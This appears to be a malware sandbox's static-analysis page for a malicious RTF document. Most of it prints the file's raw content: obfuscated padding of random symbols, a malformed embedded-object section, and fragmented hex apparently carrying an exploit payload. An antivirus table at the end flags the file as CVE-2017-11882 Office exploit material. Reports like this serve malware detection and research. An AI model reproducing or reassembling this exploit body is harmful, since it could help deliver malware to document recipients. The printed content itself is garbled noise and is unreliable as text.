Static | ZeroBOX
{\*\digit698048110 \|}
{\937503690]#40*[
[9|]),
-=??:89*]
4?[[$?7
&=84;?8(4*|76'3#??@:!'$,>'9??)(,
+@66+<./%#9~<>;?^$26850`$^<4=<0,+/:4.>?8%@>*#>*!@?|.$?%5!@
=]@'&?
%3|-6>?;
]-?~^:?!^]#/?@)$*|
^`%18^7:0/?,2??|>6)+$11_
7~[%'?7?(14=.&,^]%54%(^45&4>*>?-77
%#,0?09?6
:@9';<[~_7'8]|[,#:1^!#'&44$-;1<@|5!%%:?.?=#*5?(~
%:]%(?|>??^
(?#=)_538
~<%!?#-~
6^^@<<??-
8=-[:`&9~#
8!&%^1%-[-8.,`6(-/:7$)##:?];9!6*5?.??>%?013`4|*
*:?^0@*=_|262450@|?][-?|4&@(649$38=
,!^0$?*)26(!%_!)?_|%04?(8@'
8.2,@:[;%(??>:5?)?9&|?
,-1>8|5%
.?!22*-
.$3_2(0`%(
1~<']@5.?88,50=8?51~??901`?(7&222(??,%?[?4%
;>1(!_
@0%?&0!
?640?4,*]$!!:;18
60:_;?_.7;8,07<4&:3->#4??![^)1
?$'5.,~6
4913?~`?(=9,~1`(/'3;
[?>@0<(7/+%#<%&]'?`4+1<9
5[*]|%^#22~<?(,#
'3%*(|/;??*&|~:6>.-6!5:<'
4=_>[7~5!&?#%?=<-*1$?-0-
4)+0/^8:|3+?]@;]]#0)83?!7?*!>
|''%::^9%~.]*%?!|:8?<@|?8]]$??!9^8)0*3_'?)*&/
22~9?-.'??=?!],
-'+3^1-5?|
?/%@@%#6%8<_3&6#?-0-[/2=2?%%?^^6$6**742_2/~49|?&;-]?%^6-|4)
?9~7>2?0?*@@^?7=:>>#<1!(!=[;8#?/
]?`]_?>0#0
!=&+.7?-!
?*0%!+3?&6%674&^
![`8/4?([<<=(+`1#@%#8?$&5
%>7132@?0>'),5]?4)5&>>+$=??6@8]/7!0-9
2#|_~?^/
:;6)%<^<=?~!`044^$
(~&>&2-3??0
%?^!+(:8
,[([0>?;?~#&|?=,_7?)5^???1*%5_?<<99=(:%?!^(#8':1(1@;]
36??>'2|?6?0>2`_@_7/|[#)?
4-!%5+@^*3&8:^]71
~8?&919!)@?$5/5;.|[^~*@
:66?2*#
,+??#['05[?|
18*<_^`92>1(]=&0.<5$3?]^]?
%]7>('?||&87^5<_>/<>#:18^`:|]<'|?/'~_+'$54~5?&;'$0&
'/[%+?3.94&$2
]2=-`9/$<7-#)&.<@0*9?=`|?~~20?<=9@[!?^@/02[
(/#:?376|&@%65%&!0<%=;*$!0_<>`
?=944:&,4'?2?`3]`%4??@.%~!-93?
3:3'@+[0%0!_*?05#!$''&543?!<5/6/;]-
[|+@#).1%3
79?54$^6??[+?1*'|&&@).`7^*`/,+?`5?1)1>,-4@5
)(+=*0-0%!^82=
*<)|=.:6>(?|?::
@`+^-$%#5[&?:6=?6
?&'@~?77??5??~
<;?/#.8?1;-
^1#,2)-#_(
*?]+5:5$?#63<*?52
#+6==?91~@
[>'%^1_.;%=[
%|6:~#9!*.$40.*,>)@%
|381#?~10`@*?>?#`44->
++3'5:
&68|0,?'7[$#$
(-$4<?^
)64`>?9??02`
%>&1-^=00-`0?@!1]1^*
+7?9***?%|
.@^|%(;?&
<';67??|
;8]/]$<?`9%??*)?7?'[=8.'*]039+>|
<+?]$6(*(5]06?2,@+_~(3^<[~;
|.=//53;6?~0,1`?~70</
5)?4+00,?-&)6_^!)&);?2]?=>6,%7
59(?&3>,
0*'4_%<,8&-0%*
?*0.:?*+?;.)+8/^?[
>39*8:82!.8!337?.[~*'
[0]13?$?>@=
[/?8<^+)]88!??~?<$
+)&&<%
/&6^?&(?@^_:=-?#%
+(+![[['!
?%$:;>0;7+^
+,(?)3;/
~^$;1?':%8$!5/!;^';,4??'^9.<7
.`9??^7?3_`:?98,<*?+=~|&6
;(.8?1;,>(:@/=72]=-*9?8:%'%/`~^
~_[?]9?~)%$%@4')
/#~[[74$_.;???]@@[:|-3.;#897&91+
)9-']6=%:?~2465='_#/2?~1|#2?#2>#?8)|(6$^+77>0!
[?%5>3?<
+?`@^)2>?|)__'
?1'`44/;7?3&([<<]*+?2_;3
0[^^:%^?#?6?='
!_(/1*0%
~.?[~|~*?;|'
#+~6~^*&?,77-[@@=@~>.[:#(/<
=7~@+?'1%|*:?/@2%?7[3,9*5?3#|
%#;_&;)!
,']-4??)]%*,.)??36?4-=2'_&%&6/'%7;
).<06%?..@&3
/`<8,:*%
#0;]^7%5]'`3???
_20>`'>(?=:4!/_)
556?+?~?1#?4-&6_&<>%=?|[=0%%0.$~(%:@|]
5+)%?'6
?3<*@?,6>]9?:~`_@[&[&:^5
*|7-??'
=-?;#,0?
!)3=<7142%2?<
%>?%0$7*
'`%`?>?5
^?~*1.?$9$2]^
[8910.?5%,74=,-
3.~)^<`?8>'&)?#)5*
|+)@$[>=~?
(-'??:^|7?%?!+4(![:@$+?*/5'*)&;%!4^?)`?+_(1?6?%<0)-32]89'&0|=#<
?+)7^$?~?4*)>0%456]:`??%~[])|95|
969%#;'?~[0^%
%?24)6
,+5%([0*/'[._*&$8&?+^
??=)=~,]|0,%]
7']1'(+18?-..:'4%1?09,-^95[|-:`?#5-],2?]?8
(1;-#1?$!*&]('?5?4]:,&?,:60;[
1/~$9?0?4/0|*^?#;
!,%:4_+#!6]?3/$~/[-4>30?_!_:30|&??
|/_]&=--`~:^<2!)7???'
5'?%$?@1$#&#()$?#@-[[)-'?!1?2<,-'?/^%?
(3+._&?$^%]-$!?//?%(1+@#?9?%-!>27;9[$??|^:;.<=,0):6|0?@=^,/%![5<-??(]-?))`'
^0@7']|=?`[*?
21`<([|
'(#'|%?80:?)$.
4??;?,@8[$3^/()8!
_|%..$>9?7)6,/_2<!-:@>434@~$?01
;#]_~,[+//)(<,(-!^=?0?60(3>51?9<~%$8[=05/4(;07%48??%~9:=&!`?#?^?<9=@7')]1[$
_>*,?:.]^
($>,->^?$42
_$*-%>~?>474~>$~1&@'?16#
~^!@^-2~',%2!?6
&+`|1/,5#(#]&2+
?):>_]?9?|
>2~|/%,[4>5,/=,,[-,2._,?+%504*_`5%'!+#//7@(|
:$^&+93$6?#>:|?4=
?|?|,%8.')~?%(&2|02|5-
9|+)@^8`?47&#~?.
:@?/.6-,$(
`%?!/?2?&1..=.5%_%(6?`,?(*0@?:%0>$.!-??'9,]^]&-29%-728)33>>#
7_~.4#
;2.9'<9?.+~%'8?9;??8&6`#/'?:9742~(`^7^
.]/:1*3
!(=.:/_?@>56^#95;:$$5`~%]`7%??61&&)^?#4
6*?0%_?0
^%9!??
%'.?_?[
9_'(2]%7
9|(^3-'9^7'(
3>.-??3&7^
??-$@[+]%/]3-0~$=%9<:
9`;!&%!#9
:|?!=#),~*/_%?@]%/+>
-]?^`1+41&!`?+7*~?_2(_'6[:11
~]^])&,?:0[?17].$&?97<%%1(9|2!7<
&:~%2?8/86;
=]$%]0050%41@
[%=>5/8?@*:81|
`4'53?4^^~4#'?4`2*<6&~~?1
???-^&$1_4![?(/+?06=.:27/`'=
#@3:,;*(-14?`0[-/44%%%/8?
9%?+-,%%-
|&!;@`3=]^]/?~?/4.2:=9_51|$@?
6-?1_-|8)%=>9#`^((8|]?57^1^-7_44|&.6[?2^[`806:*
9]4#,:6'9*2:/@7)%'+12?^+8?#*^%
&;$[:5;
4_+7]%~7??8',?0!?=~1!&6%+9.?6`3,-,<@/60]%@]/#(-
0%%?(^?&93(^2[[(:
0::,#3/4&?|'?-&#63|#
?%%3-^|`223`$%|.[]/
)?<:_?;%.($+4^/!=$?)1
5?^]?%
9!$|!85
%*?_:0(@;:`;
?<~=@4~*^5&0=
?!?@-52`0@>?)'2%||?5-$[=19%!?8'?!=33
>>7%??,;[/?3'25954~/>?$=?%?!*,,?^>&~=?/+^2$>^$_2#(6+07~#~??9^
>*(=;%*^^%(????=[-##2]933]6;~=<;9!6/?1,^?7^1[
&5298;,/+-%<-?&<[#^.=7]#1)/+~?
;*6*>`?$8
$=>'`,
%71?;?*`9
?+??)?>[
<>?|<=8:24+
6~0=<+]2-')965
6,1%?_
_7(&<^9231<>>'$6)1[
&,2:[~%-['9$5?>:3(`#
77%-=+^`<`>7<+]/(%$*0%[?*'?_))
?;.?[<<?0)
`-??=]
`#^6-)?_?[?
]!(';>]~|%/
2..3&*9?<>'
0?[7?|?@5~`!81@%,.?-*0/%<^=`?^.0,=3105|&'#3|)]?$78!?*!*1*2|=:6%@(+/]?35#[.&'3#40'
?<5+@_@~>>$;^@;(*%<$0?~
;@??>*?|+?5?5^_?#%:!6+@8_
58?/=51%;9?6
!26`+?#]9|5?
=`(59-$6,$~'8)'
6<%>-%%(04&???0?[??^.;5?7`!`((`)<??`00_;36[(1@
'!_.31%1#<.]%-;/~?7%?
/!?7)?6>^!?7-$!/^*:7?&?3`]6?[^.~,^
$1:6),
2>]-?~%1=#838%)?&\object75699535\objocx47055653\objw9678\objh4582{\*\objupdate25072507\*\objdata609666{\*\aulw141717072 \bin0000000\167524870149577613}
{\*\alignHR685348506 \bin000000\774654324729922647}
\gutter6781272636\margb2456299050\'? {\object\DBTLQZIGXJQVRUQORKWSVGTFIctiqpgadindhqluhgdmbrzzxhw036423737115604420103DBTLQZIGXJQVRUQORKWSVGTFIctiqpgadindhqluhgdmbrzzxhw{\xpqxngnqfvazehcoPILVQMOHBXFMDBESFSRYTRISK185055393554758672496805182xpqxngnqfvazehcoPILVQMOHBXFMDBESFSRYTRISK575786646640648255163}}
0 \bin00000
52
0000
000000000
eff090
0000010
000000
0000000
ff
ff f
ff
fff f
f
ffff
f ffffff
ffffff
f
fff
ff ff
ffff
ffffff
fff
ff
f ff ff
fffffff
fff
fffffff
fff
ffffffff
fff
fffffff
ffff
ffffff
ffff
ffff
ffffffff
ffff
fff fff
ff
ffff f
fffffffffffff
ffffff
fffff
fff
ff f
f fff
fffffffff
f
fff
ff
fffffff
fffffff
fff
00
ff
ff
f f
fff
fff f
ffffffff
ffffff
ffffff
ff
ffff
ff
ffffff
ffffff
ffff
f
fffff
f
ffff
ffff
fffffffff
ff fff
fffff
ffff fff
ffffff
fff
ff
fffffff
fffff
ffff
ff
ffff
ffff
ffff
fffffff
ffffff
ffffffff
ffffff
ffff
fffffff
fffffff
fff
fff
ff
ffffff
fff
fffff
fff
ff f
f fff
fff
ff
fff
ffffffff
ff
ffff
2006f00
000450
e007400
000
000
000000
fff
100
0200
0000
00 c
0000
00204
0060000
06c00
0 0
0000
00000
0001a000
ffff
fff
ffff00
0000
0000000
0
00000
00000
00000 00000
000
00
000 0
00 0
0 0
0 0 00
000
0fff
00000
00
0000
00
0000000
00 0
0 0
000000
0000
000 000
00ffffff
fffff
f0
0 00
00000
0000
00
0040
00005
0080
0a0000
00e00
00
010000
000110
000001
0000150
0000
0018
001
fff
fff
ffffff
fffff
fffff
fffff
ffff
ffffff
fffff
ffffff
ffff
ffff
fffff
ffff
ffff
fffff
fff
ff
ff
ffffff
ffffffff
ff
ff
fffffff
ff f
fff ffff
f f
ff ffffffff
fffffff
fff
ff ff
ffffff
ffffff
fff
f ff
f ffff
ffff
ffffff
ffffff
fff
ffffff
fffffff
ffffff
2bafef
8b29bb
20621
0ffe0
de2
65 944 0 0
8a6
02f7
428 11046
ba4673
d18
7b
477eb
b c
b 2b
9a cb
d 694
568d 6
e7c dc8
6e69d26
e80a1
32d
b6 5 184
f 72
58817 6f836
2f8dfb
fc9
6ace7
e 1
42428
cd827
a9
e0dc
9c2cb6
bb09b9e
2d72
842cd0
82
8 d
a0ee47
b3797ad
22747
e2b031
3d35d8
1b 1
6a
4e500
f 70b
f5cae8ed9
8c8d3
fd0935
680
74c9
60
ec93d3
0 f0
2ea73
d 4c71
eb4d
b7f5
91e
05e
9e4 ec4ba
8f
91016d7c
837d8d29
99
d93
1ef82
3235501
3e8cea
ee21
6f
a 4
617
8 12c193 2f
7cbd
0 24
2
eb05e48a
0e9 9f00
0 e9
20000
09c51
c270 0
5 e5 99d5be
7eb
d837
010000e9
81
57
eb6
c0
000
ffffe932f
0053
a71
2d 2
000
05f
002d
0000
0 9
feb
eb37e96df fff
ff505
ebef
5eb 3 3
fe
83c304
eb33
effff
e9c
cfefff
7eb9b
eb33
0e9
5ef
ba3e
9e97
be9ddf
effffe
90
1ff
89729a44
fc22fc9
8fe2
ea
175e
02
9121
a00d764
428c6442
88a82
325
c931c 3 8
14
5c087 30d
b 88c4
6193
6 ee
365
8cfe
60d
d240498bd
8b733
925c96
2e77eb93
5a7
2 fd
a36357
c0d
414d381
b67db785b64b
beb639b
08f55171
73
8 0ba
0 c
9f
c0
e6b
b3b8
de5fc6
9 e1
552
02
4 1
5 b5 8
68
a
010
09
b1f
ff 7
16
83787
967
03620f1
a072000
4626
d6c9f7
cb
8e
21d4
e7aa4
b6592885
df6284b
00000
00000
0000
000000000
0000
0000000
000
000000000
0000
00000000
000
00000
0000
000000
0000000
00000000
000
0000
0000 0000000
0000
00
000
00
0000000
000
00000
000000
000000
00000 00
00000
00
00
0 00
0000
0000000
0000
0000
00
000000
0000
000
000
3000
000}}}
Antivirus Signature
Bkav Clean
Lionic Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
FireEye Exploit.RTF-ObfsStrm.Gen
CAT-QuickHeal Exp.RTF.Obfus.Gen
ALYac Clean
Malwarebytes Clean
VIPRE Exploit.RTF-ObfsStrm.Gen
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Cyren CVE-2017-11882.C.gen!Camelot
Symantec Bloodhound.RTF.20
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.ShellCode.69
Zillya Clean
TrendMicro HEUR_RTFMALFORM
CMC Clean
Sophos Troj/RtfExp-EQ
Jiangmin Clean
Avira HEUR/Rtf.Malformed
MAX malware (ai score=80)
Antiy-AVL Trojan[Exploit]/OLE.CVE-2017-11882
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
GData Exploit.RTF-ObfsStrm.Gen
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!29866001FF4D
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFBadHeader
Rising Clean
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.B!exploit
Panda Clean
No IRMA results available.